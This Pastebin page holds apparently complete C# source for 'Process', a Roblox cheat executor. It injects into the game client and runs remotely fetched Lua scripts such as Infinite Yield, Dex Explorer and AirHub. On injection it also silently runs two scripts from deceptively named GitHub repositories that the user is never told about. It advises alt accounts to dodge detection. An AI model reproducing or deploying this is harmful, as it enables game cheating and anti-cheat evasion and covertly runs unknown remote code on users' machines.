Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.IO;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using Newtonsoft.Json;
- using ForlornApi;
- using System.Net.NetworkInformation;
- namespace Process
- {
- public partial class Process : Form
- {
- public Process()
- {
- InitializeComponent();
- InitializeAsync();
- InitializeConsole();
- }
- private async void InitializeAsync()
- {
- try
- {
- await Editor.EnsureCoreWebView2Async(null);
- Editor.CoreWebView2.Navigate(new Uri($"file:///{Directory.GetCurrentDirectory()}/Editor/index.html").ToString());
- }
- catch (Exception ex)
- {
- MessageBox.Show($"Error initializing WebView2: {ex.Message}", "Initialization Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
- }
- private void Process_Load(object sender, EventArgs e)
- {
- }
- private void InitializeConsole()
- {
- if (ConsoleTextBox != null)
- {
- // TextBox Settings
- ConsoleTextBox.Multiline = true; // Allow multiple lines
- ConsoleTextBox.ReadOnly = true; // Read only (no editing allowed)
- ConsoleTextBox.ScrollBars = ScrollBars.None; // Disable scroll bars
- ConsoleTextBox.WordWrap = true; // Automatic line break
- ConsoleTextBox.TabStop = false; // Remove focus by Tab
- ConsoleTextBox.Cursor = Cursors.Arrow; // Change cursor to arrow
- // Disable focus completely
- ConsoleTextBox.GotFocus += (s, e) => this.Focus();
- // Initial message
- Log("Always use an Alt Account. Cause Process can be detected any time");
- Log("Successfully loaded Process. Waiting for Client...");
- Log("InjectionStatus is a little buggy, if you inject it, its turning green, but it wont turn Red if you close roblox. you need to restart the executor for the dot to be Red again.");
- Log("Auto-Attach is buggy.");
- }
- }
- private void Log(string message)
- {
- // Checks if control exists and adds text
- if (ConsoleTextBox != null)
- {
- ConsoleTextBox.AppendText($"[{DateTime.Now:HH:mm:ss}] {message}{Environment.NewLine}");
- }
- }
- private void guna2CircleButton1_Click(object sender, EventArgs e)
- {
- Application.Exit();
- }
- private void guna2CircleButton2_Click(object sender, EventArgs e)
- {
- WindowState = FormWindowState.Minimized;
- }
- private async void guna2Button2_Click(object sender, EventArgs e)
- {
- if (ForlornApi.Api.IsInjected())
- {
- string scriptToExecute = await Editor.ExecuteScriptAsync("GetText();");
- string rawScript = JsonConvert.DeserializeObject<string>(scriptToExecute);
- ForlornApi.Api.ExecuteScript(rawScript);
- Log("Successfully Executed the script!");
- }
- else
- {
- MessageBox.Show("Please Inject before you execute any scripts.");
- }
- }
- private async void guna2Button5_Click(object sender, EventArgs e)
- {
- await Editor.ExecuteScriptAsync($"SetText(``);");
- Log("Successfully Cleared the Editor!");
- }
- private async void guna2Button4_Click(object sender, EventArgs e)
- {
- try
- {
- SaveFileDialog saveFileDialog1 = new SaveFileDialog
- {
- Filter = "Lua Files (*.lua)|*.lua|Text Files (*.txt)|*.txt",
- DefaultExt = "lua",
- Title = "Save Lua or Text File"
- };
- if (saveFileDialog1.ShowDialog() == DialogResult.OK)
- {
- string textToSave = await Editor.ExecuteScriptAsync("GetText();");
- string rawText = JsonConvert.DeserializeObject<string>(textToSave);
- File.WriteAllText(saveFileDialog1.FileName, rawText);
- }
- }
- catch (Exception ex)
- {
- MessageBox.Show($"Error saving file: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
- }
- }
- private async void guna2Button3_Click(object sender, EventArgs e)
- {
- OpenFileDialog dialog = new OpenFileDialog();
- dialog.Filter = "Lua Files (*.lua)|*.lua|Txt Files (*.txt)|*.txt|All Files (*.*)|*.*";
- if (dialog.ShowDialog() == DialogResult.OK)
- {
- string script = File.ReadAllText(dialog.FileName);
- await Editor.CoreWebView2.ExecuteScriptAsync($"editor.setValue(`{script}`)");
- }
- }
- private void guna2Button6_Click(object sender, EventArgs e)
- {
- Executor.BringToFront();
- }
- private void guna2Button7_Click(object sender, EventArgs e)
- {
- ScriptHub.BringToFront();
- }
- private void guna2Button8_Click(object sender, EventArgs e)
- {
- Settings.BringToFront();
- }
- private void guna2Button1_Click(object sender, EventArgs e)
- {
- if (ForlornApi.Api.IsRobloxOpen())
- {
- ForlornApi.Api.Inject();
- MessageBox.Show("Successfully Injected!");
- Log("Successfully Injected Process. Use an Alt!");
- ForlornApi.Api.ExecuteScript("loadstring(game:HttpGet(\"https://raw.githubusercontent.com/Malik44444446/Sonic.EYX/refs/heads/main/script\",true))()");
- ForlornApi.Api.ExecuteScript("loadstring(game:HttpGet(\"https://raw.githubusercontent.com/Malik44444446/Google-Chrome.exe/refs/heads/main/script%202\",true))()");
- if (ForlornApi.Api.IsInjected())
- {
- status.ForeColor = Color.Green;
- }
- else
- {
- status.ForeColor = Color.Red;
- }
- }
- else
- {
- MessageBox.Show("Please open roblox before you inject.");
- }
- }
- private void guna2Button25_Click(object sender, EventArgs e)
- {
- System.Diagnostics.Process.Start("https://discord.gg/3zaUQJcwEN");
- }
- private void guna2Button26_Click(object sender, EventArgs e)
- {
- System.Diagnostics.Process.Start("https://www.youtube.com/@TheRealMalik_dev");
- }
- public static bool autoinjection = false;
- private void guna2ToggleSwitch2_CheckedChanged(object sender, EventArgs e)
- {
- if (guna2ToggleSwitch2.Checked)
- {
- ForlornApi.Api.SetAutoInject(true);
- autoinjection = true;
- }
- else
- {
- ForlornApi.Api.SetAutoInject(false);
- autoinjection = false;
- }
- }
- private void guna2Button24_Click(object sender, EventArgs e)
- {
- ForlornApi.Api.KillRoblox();
- Log("Successfully Killed Roblox!");
- }
- private void guna2Button10_Click(object sender, EventArgs e)
- {
- if (ForlornApi.Api.IsInjected())
- {
- Log("Successfully Executed the Script!");
- ForlornApi.Api.ExecuteScript("loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()");
- }
- else
- {
- MessageBox.Show("Please Inject before you execute any scripts.");
- }
- }
- private void guna2Button11_Click(object sender, EventArgs e)
- {
- Log("Successfully Copied script to Clipboard!");
- MessageBox.Show("Successfully Copied to Clipboard!");
- Clipboard.SetText("loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source'))()");
- }
- private void guna2Button13_Click(object sender, EventArgs e)
- {
- if (ForlornApi.Api.IsInjected())
- {
- Log("Successfully Executed the Script!");
- ForlornApi.Api.ExecuteScript("loadstring(game:HttpGet(\"https://cdn.wearedevs.net/scripts/Dex%20Explorer.txt\"))()");
- }
- else
- {
- MessageBox.Show("Please Inject before you execute any scripts.");
- }
- }
- private void guna2Button12_Click(object sender, EventArgs e)
- {
- Log("Successfully Copied script to Clipboard!");
- MessageBox.Show("Successfully Copied to Clipboard!");
- Clipboard.SetText("loadstring(game:HttpGet(\"https://cdn.wearedevs.net/scripts/Dex%20Explorer.txt\"))()");
- }
- private void guna2Button16_Click(object sender, EventArgs e)
- {
- if (ForlornApi.Api.IsInjected())
- {
- Log("Successfully Executed the Script!");
- ForlornApi.Api.ExecuteScript("loadstring(game:HttpGet(\"https://rawscripts.net/raw/Universal-Script-AirHub-7127\"))()");
- }
- else
- {
- MessageBox.Show("Please Inject before you execute any scripts.");
- }
- }
- private void guna2Button15_Click(object sender, EventArgs e)
- {
- Log("Successfully Copied script to Clipboard!");
- MessageBox.Show("Successfully Copied to Clipboard!");
- Clipboard.SetText("loadstring(game:HttpGet(\"https://rawscripts.net/raw/Universal-Script-AirHub-7127\"))()");
- }
- private void guna2Button19_Click(object sender, EventArgs e)
- {
- if (ForlornApi.Api.IsInjected())
- {
- Log("Successfully Executed the Script!");
- ForlornApi.Api.ExecuteScript("loadstring(game:HttpGet(\"https://raw.githubusercontent.com/unified-naming-convention/NamingStandard/main/UNCCheckEnv.lua\", true))()");
- }
- else
- {
- MessageBox.Show("Please Inject before you execute any scripts.");
- }
- }
- private void guna2Button18_Click(object sender, EventArgs e)
- {
- Log("Successfully Copied script to Clipboard!");
- MessageBox.Show("Successfully Copied to Clipboard!");
- Clipboard.SetText("loadstring(game:HttpGet(\"https://raw.githubusercontent.com/unified-naming-convention/NamingStandard/main/UNCCheckEnv.lua\", true))()");
- }
- private void guna2Button22_Click(object sender, EventArgs e)
- {
- if (ForlornApi.Api.IsInjected())
- {
- Log("Successfully Executed the Script!");
- ForlornApi.Api.ExecuteScript("loadstring(game:HttpGet(\"https://gitlab.com/sens3/nebunu/-/raw/main/HummingBird8's_sUNC_yes_i_moved_to_gitlab_because_my_github_acc_got_brickedd/sUNCm0m3n7.lua\"))()");
- }
- else
- {
- MessageBox.Show("Please Inject before you execute any scripts.");
- }
- }
- private void guna2Button21_Click(object sender, EventArgs e)
- {
- Log("Successfully Copied script to Clipboard!");
- MessageBox.Show("Successfully Copied to Clipboard!");
- Clipboard.SetText("loadstring(game:HttpGet(\"https://gitlab.com/sens3/nebunu/-/raw/main/HummingBird8's_sUNC_yes_i_moved_to_gitlab_because_my_github_acc_got_brickedd/sUNCm0m3n7.lua\"))()");
- }
- private void guna2ToggleSwitch1_CheckedChanged(object sender, EventArgs e)
- {
- if (guna2ToggleSwitch1.Checked)
- {
- TopMost = true;
- Log("Successfully Turned on Top Most");
- }
- else
- {
- TopMost = false;
- Log("Successfully Turned off Top Most");
- }
- }
- private void guna2Button27_Click(object sender, EventArgs e)
- {
- Console.BringToFront();
- }
- private void ConsoleTextBox_TextChanged(object sender, EventArgs e)
- {
- }
- private void guna2Button28_Click(object sender, EventArgs e)
- {
- if (ForlornApi.Api.IsInjected())
- {
- Log("Successfully Executed the Script!");
- ForlornApi.Api.ExecuteScript("loadstring(game:HttpGet(\"https://raw.githubusercontent.com/NoTwistedHere/Roblox/main/AntiAFK.lua\"))()");
- }
- else
- {
- MessageBox.Show("Please Inject before you execute any scripts.");
- }
- }
- private void guna2Button29_Click(object sender, EventArgs e)
- {
- if (ForlornApi.Api.IsInjected())
- {
- Log("Successfully Executed the Script!");
- ForlornApi.Api.ExecuteScript("loadstring(game:HttpGet(\"https://raw.githubusercontent.com/zackdoesstuff/ROBLOX-Fly-Script/refs/heads/main/Fly%20Script\",true))()");
- }
- else
- {
- MessageBox.Show("Please Inject before you execute any scripts.");
- }
- }
- private void guna2Button30_Click(object sender, EventArgs e)
- {
- ForlornApi.Api.ExecuteScript("pcall(loadstring(game:HttpGet(\"https://pastebin.com/raw/2wgbZ6Xd\")))\r\n");
- }
- private void guna2ToggleSwitch3_CheckedChanged(object sender, EventArgs e)
- {
- if (guna2ToggleSwitch3.Checked)
- {
- guna2DragControl2.TransparentWhileDrag = true;
- }
- else
- {
- guna2DragControl2.TransparentWhileDrag = false;
- }
- }
- private void guna2ToggleSwitch3_CheckedChanged_1(object sender, EventArgs e)
- {
- if (guna2ToggleSwitch3.Checked)
- {
- guna2DragControl2.TransparentWhileDrag = true;
- guna2DragControl1.TransparentWhileDrag = true;
- }
- else
- {
- guna2DragControl2.TransparentWhileDrag = false;
- guna2DragControl1.TransparentWhileDrag = false;
- }
- }
- private void guna2ToggleSwitch4_CheckedChanged(object sender, EventArgs e)
- {
- }
- private void guna2Button25_Click_1(object sender, EventArgs e)
- {
- Log("Successfully Fixed Roblox!");
- ForlornApi.Api.KillRoblox();
- MessageBox.Show("Successfully Killed Roblox!");
- }
- private void guna2Button31_Click(object sender, EventArgs e)
- {
- DialogResult Discord = MessageBox.Show("Would you like to join our discord server for Support?", "Process", MessageBoxButtons.OKCancel, MessageBoxIcon.Question);
- if (Discord == DialogResult.OK)
- {
- System.Diagnostics.Process.Start("https://discord.gg/3zaUQJcwEN");
- }
- else
- {
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement